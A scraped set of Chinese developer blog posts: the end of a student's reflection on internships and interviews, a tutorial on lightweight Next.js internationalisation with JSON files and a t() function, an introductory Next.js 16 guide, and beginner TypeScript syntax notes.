第二天我就收到了感谢信。

聊聊面试

关于面试,我真的想说一句:
双非同学完全没必要太自卑。

在字节、快手、小红书,我遇到的双非同事真的很多。能见到面试官这一关,学历的劣势基本就过去了;
真正会被卡掉的学历问题,大多都发生在简历筛选阶段。如果两个人技术能力差不多,HR 是会优先看学历的,这是现实;但只要你已经走到技术面了,那就只比实力。

4fa9faa2d8e2b8e2dcb48281c7832d98.jpg

b5c9478e559be882920d45b168f25f44.jpg

328f52e70e24a6e4da6297dacc6e328f.jpg

结尾

“红黄蓝”三家公司进进出出,一年多了。虽然我还是大四学生,但更多时候已经把自己当成一个刚踏入职场一年的年轻人。

以前在掘金看到那些感慨文,说不上不理解,但也没太有共鸣。那时候我以为掘金应该是讨论技术的地方。但现在逐渐理解了:工作占据了我们绝大多数时间,程序员要终身学习,而学习往往发生在为数不多的休息时间里,投入和产出常常不成正比,还伴随着所谓“中年危机”,于是,大家自然就会有更多感慨。

我也慢慢明白了(特别是在直播没转正、秋招又不算顺利的那段时间):

生活没有那么多必须烦恼的事。
把工作做好,不要过度焦虑未来。
把握当下——在自己的能力范围内做自己真正想做的事
不要因为浪费了时间、花了点钱而懊恼。

我们应该感受生活,而不是被生活推着走。

使用简单 JSON + 自定义 t 函数实现轻量多语言国际化(无需 next-intl)

2025年11月27日 11:11

在 Next.js 开发国际化(i18n)项目时,许多人会直接安装 next-intl、react-intl、i18next 这样的重量级库。 但对于一些结构简单、只需要基础文本翻译的网站来说,使用这些库反而会带来额外的复杂性。

如果你只想让项目支持:

✔ 标题多语言 ✔ 按钮多语言 ✔ 文案多语言 ✔ 扩展灵活、无需复杂配置

那么你完全可以自己写一个 超轻量 i18n 方案

今天我们来介绍一个非常简单、方便扩展、可在任何环境使用的多语言实现方式: 基于 JSON 语言包 + t() 翻译函数。


目录结构:简单、清晰、可扩展

首先在项目中新建 i18n 文件夹:

/i18n
  ├─ en.json
  ├─ de.json
  ├─ fr.json

内容例如:

en.json

{
  "hotTags": "Hot Tags",
  "hotArticles": "Hot Articles",
  "latestNews": "Latest News"
}

de.json

{
  "hotTags": "Beliebte Tags",
  "hotArticles": "Beliebte Artikel",
  "latestNews": "Neueste Nachrichten"
}

fr.json

{
  "hotTags": "Tags Populaires",
  "hotArticles": "Articles Populaires",
  "latestNews": "Dernières Nouvelles"
}

自定义 t() 翻译函数

这一小段代码就是整个多语言系统的核心:

import en from "@/i18n/en.json";
import de from "@/i18n/de.json";
import fr from "@/i18n/fr.json";

const locales = { en, de, fr };

export function t(locale: string, key: string): string {
  const dict =
    (locales as Record<string, Record<string, string>>)[locale] || locales["en"];

  return dict[key] ?? key;
}

工作原理

  1. 根据传入的 locale(en / de / fr)选择对应字典
  2. 如果找不到语言,自动使用英文作为 fallback
  3. 如果 key 不存在,原样返回 key(方便调试)

类型安全(解决 TS 报错)

上面代码使用了:

(locales as Record<string, Record<string, string>>)

让 TypeScript 明确知道字典是:

  • key: 语言代码
  • value: 文本映射表(键值对)

这样就不会出现:

「元素隐式具有 any 类型」


在页面中使用

示例: 你在首页 HomePage 中传入 locale:

<h2 className="text-2xl font-bold">
  {t(locale, "hotTags")}
</h2>

渲染效果将根据语言不同自动变化:

  • English → Hot Tags
  • Deutsch → Beliebte Tags
  • Français → Tags Populaires

无需额外库,无需复杂配置。


优点总结

特点 说明
极轻量 无需安装任何 i18n 库
纯 JSON 文件 非技术人员也能直接编辑
完全可控 不会被第三方库的 API 或复杂行为束缚
易扩展 想加语言?加个 JSON 文件即可
易维护 键值结构简单不容易出错

适合用在:

  • 企业官网
  • 展示性网站
  • CMS 文章网站(如 Strapi + Next.js)
  • SEO 友好的多语言站点
  • 需要快速上线 MVP 的项目

还能进一步增强!

要是你想扩展成更强的国际化系统,你还可以加入:

✔ 支持嵌套 key(如 home.title

✔ 支持变量插值(如 Hello {{name}}

✔ 自动检测浏览器语言

✔ 服务端自动注入 locale(Next.js App Router)

我可以进一步为你升级成 完整简易版 i18n 框架


最后

这种方式简单却非常实用,特别适合 已经有后端(例如 Strapi) + 前端 Next.js 结构的多语言站点。

nextjs 16 基础完全指南!(一) - 初步安装

作者 孟祥_成都
2025年11月27日 11:11

注,以下内容过于基础,对于“老鸟”可以跳过文章前面,直接看最后最需要了解的知识点: React 的服务器组件和客户端组件。

前言

首先很多人疑惑为什么要学习 next.js 技术,我从客观角度帮你分析,你需不需要:

  • 一个是未来你想做 remote 也就是远程开发者,next.js 几乎是必备的,因为它最大的优点之一就是全栈,可以将前后端在一起做

这里我简单解释一下,全栈是指前端页面和后端接口服务都可以做,但实际上复杂应用一般还是会前后端分离,但鉴于国外很多小公司,面对的用户数量并不多,所以使用一个技术快速验证商业想法才是最主要的,这是 next.js 很受欢迎的原因。

  • 一个是对 seo 有强烈需求的,seo 你简单理解就是你的网站内容能被搜索引擎爬虫爬到,然后用户搜索的时候,你的页面有机会呈现在搜索引擎中,这是我们传统的单页面应用(SPA)做不到的,当然也有一些其他办法,但没有 next.js 直接。

但是任何技术有利有弊,国内为什么不流行 next.js 的最大原因就是很多 B端 后台系统,根本用不着 next.js ,首先是前后端分离在国内是常见的技术合作模式,其次 B端 后台系统不需要 seo, 只有首页和官网可能需要。

Next 和 React 的区别

简单说一下 reactnext.js 的区别。

本质:Next.js 是一个用于构建全栈 Web 应用程序的 React 框架。

  • React 是一个库,只负责应用的视图层。开发者需要自行选择和配置路由、数据获取等生产级功能。

  • Next.js 是一个框架,它在 React 的基础上,提供了一整套开箱即用的生产就绪功能,并遵循特定的约定和最佳实践。

这里咋们就不说太多概念的东西,例如 Next.js 提供了哪些常见的开箱即用的功能,我们直接上手(毕竟初学看到了这些概念也不知道具体是什么意思)。

学习前提

  • 只需要基本的 HTMLCSSJavaScript 知识,和基本会使用一点 React 就可以开始学习 Next.js
  • 需要你安装了 Node.js (版本建议 20 以上)
  • 安装命令:npx create-next-app@latest
    • 然后会让你输入项目名称,你可以直接回车默认,也可以输入你喜欢的名称。
    • 最后设置一些选项,等待下载完依赖包,就可以完成安装了

image.png

最后使用 npm run dev(你用 pnpmpnpm run dev) 就可以启动了:

image.png

对于访问的 URL(如 /),Next.js 在 app 目录下找到对应的 page.tsx 组件。

Next.js 项目结构解析

一个基础的 Next.js 项目包含以下核心部分:

  • 4个主要文件夹:.next, node_modules, public, src (或 app)

    • .next: 是构建输出目录,自动生成,无需手动修改。这是当你运行 npm run dev、npm run build 或 npm run start 时,Next.js 构建工具链生成的优化后的生产就绪代码,例如包含编译后的 JavaScript 和 CSS 文件。
    • node_modules: 是安装第三包包的目录
    • public: 静态资源目录, 例如图片和字体都可以放进来。
    • src/ 或 app/ - 应用源代码目录(你的主战场):这是你作为开发者最常工作和编写代码的地方。
  • 10个左右配置文件:包括 package.json、Next.js 和各类工具的配置文件。

    • package.json,主要包含以下两部分:

      • 依赖管理:列出 next, react, react-dom 等核心库。
      • 脚本命令:定义 dev (开发), build (构建), start (生产启动), lint (代码检查)具体使用的命令是什么。
    • image.png

    • next.config.js (Next.js 配置)

    • tsconfig.json (TypeScript 配置)

    • eslint.config.js (代码规范检查)

    • tailwind.config.js (Tailwind CSS 配置)

    • .gitignore:版本控制忽略文件。

    • README.md:项目说明文档。

    • next-env.d.ts:Next.js 的 TypeScript 类型声明。

    • favicon.ico浏览器标签页图标。

    • globals.css全局样式文件。

    • layout.tsx根布局:定义所有页面共享的 UI(如导航栏、页脚)。

    • page.tsx首页组件:对应路由 / (localhost:3000) 的页面内容。

服务器从根布局 layout.tsx 开始渲染(也就是 app 下的 layout 文件开始渲染 )。虽然是从 layout.tsx 渲染,但 layout.tsx 主要作用是共享 UI,也就是例如头部导航栏所有组件一般都会用到,所以 layout.tsx 里面的代码会共享给所有组件,但如果你只看当前路由渲染的内容,是在 page.tsx 文件中。

对于访问的 URL(如 /),Next.js 在 app 目录下找到对应的 page.tsx 组件。

image.png

React 服务器组件核心概

根本性变革

RSC(React Server Component 也就是 React 服务端组件) 是 React 团队引入的新架构,并已被 Next.js 广泛采用。

它彻底改变了 React 组件的构建方式,将组件明确划分为两种类型:服务器组件和客户端组件。

两种组件对比

特性 服务器组件 客户端组件
默认状态 Next.js 中所有组件默认都是服务器组件 需要明确使用 'use client' 指令
运行环境 在服务器端渲染 在浏览器端渲染
能力/优势 执行服务端任务: • 直接读取文件 • 从数据库获取数据 实现交互性: • 使用 React Hooks • 处理用户交互事件
限制 不能使用 React Hooks 或处理用户交互 不能执行服务端任务

关键:

  • 服务器组件用于等待异步操作(如数据获取)完成后渲染内容。其中不能使用 React 的 Hook,只有客户端组件才可以,并且需要在文件开头,写上 'use client' 字符串,表明是客户端组件!

ts学习D1---超基础语法导入

2025年11月27日 10:46

在跟练小兔鲜的时候发现常用ts语法来定义接口返回的数据类型,所以来补习一下ts语法

1.js是一种弱脚本文件,数据类型定义和使用不严格,所以便于后期维护,就诞生了ts

2.编写

2.1 ts会以给出的变量类型初始值进行变量类型定义(ts的类型约束功能+类型推断)

image.png

2.2 ts的类型注解

// 1.使用类型注解,在变量后加‘:’的符号,指定变量的类型
let str:string='abc'

// 2.或者先预声明一个变量,之后需要使用的时候再进行赋值
let num:number
num=123

2.3 ts的类型断言

let numArr=[1,2,3]
const result=numArr.find(item=>item>2)
// 结合unArr中的元素,这里的‘item=>item>2’有可能不成立,
// 会被判定为undefined类型,所以result会标红
result*5

image.png
如果你想筛选掉undefined的情况,就需要使用类型断言‘as number’,断言为一个数值类型

let numArr=[1,2,3]
const result=numArr.find(item=>item>2) as number
// 结合unArr中的元素,这里的‘item=>item>2’有可能不成立,
// 会被判定为undefined类型,所以result会标红
result*5

2.4 ts的基础类型和联合类型

// 1.ts的基础类型
let v1:string='abc'
let v2:number=123
let v3:boolean=true
let nu:null=null
let ud:undefined=undefined

// 2.ts的联合类型
// 2.1通过竖线的方式来定义联合类型(如v4:可以赋值string或者number)
let v4:string|number=123

// 2.2 希望这个数值只能被限定为以下几个数值之一
let v5:1|2|3=1  // 赋值成功
let v6:1|2|3=4  // error 4不是v6的成员

// 3.ts的数组
// 通过类型来约束数组中的类型
let v7:number[]=[1,2,3]
let v8:Array<string>=['a','b','c']

// 4.ts的元组
// 4.1元组类型允许表示一个已知元素数量和类型的数组,各元素的类型不必相同
let v9:[string,number]=['a',1]
// 4.2 取出元祖值
v9[0] //输出a

// 4.3 让一些元祖中的元素为可选的
let v10:[string,number,boolean?]=['a',1]   // ?表示可选


// 5.ts的枚举
//在js中就是将其编译为键、值的形式
enum MyEnum{   // 枚举类型
    a,
    b,
    c
}
// 5.1 访问枚举类型的两种方式
console.log(MyEnum.a)
console.log(MyEnum[0])  //等于MyEnum.a

2.5 ts的函数

2.5.1 void

// 6. void类型(当函数没有返回值的时候,返回值就是undefined,所以函数返回值类型为void)
function fn():void{  // void类型表示没有任何返回值
    console.log('void')
}

2.5.2 给函数的参数分配类型

function MyFn(a:number,b:string){
return a+b;
}

2.5.3 给函数的返回值分配类型(用于严格规范函数返回值类型)

2.5.3.1
function MyFn(a:number,b:string):number{   //报错,因为这里返回值类型不是number
return a+b; 
}
## ```
#### 2.5.3.2
```ts
function MyFn(a:number,b:string):number{
return 100;
}
2.5.3.3 将参数设置为可选(和ES6有点像)

注意;可选参数写在必选参数左侧(后面)

function MyFn(a:number,b?:string):number{
return 100;
}
2.5.3.4 剩余参数
function MyFn(a:number,b?:string, ...rest:number[]):number{
return 100;
}

const f=MyFn(20,'abc',1,2,3,4,5,6,7) //1,2,3,4,5,6,7就是剩余函数' ...rest:number[]'的实参

2.6 ts的接口

// 定义一个接口
interface Obj{
    name:string,
    age:number
}

// 使用接口的时候必须要有name和age
const obj:Obj = {
    name:'张三',
    age:18
}

2.7 ts的type(类型别名)---很常用

type MyuserName=string|number
let username:MyuserName="123"

2.8 ts的泛型---很常用

定义一个结构体,但是想适配多中数据类型,可以使用泛型

function myFn<T>(a:T,b:T):T[]{
    return [a,b];
}
// 使用数值类型进行处理
myFn<number>(1,2)
// 使用字符串类型进行处理
myFn<string>('1','2')
// 或者不手动定义类型,因为在ts中函数myFn()会自动进行类型推导
myFn(1,2)  //自动将类型判定为number
❌
❌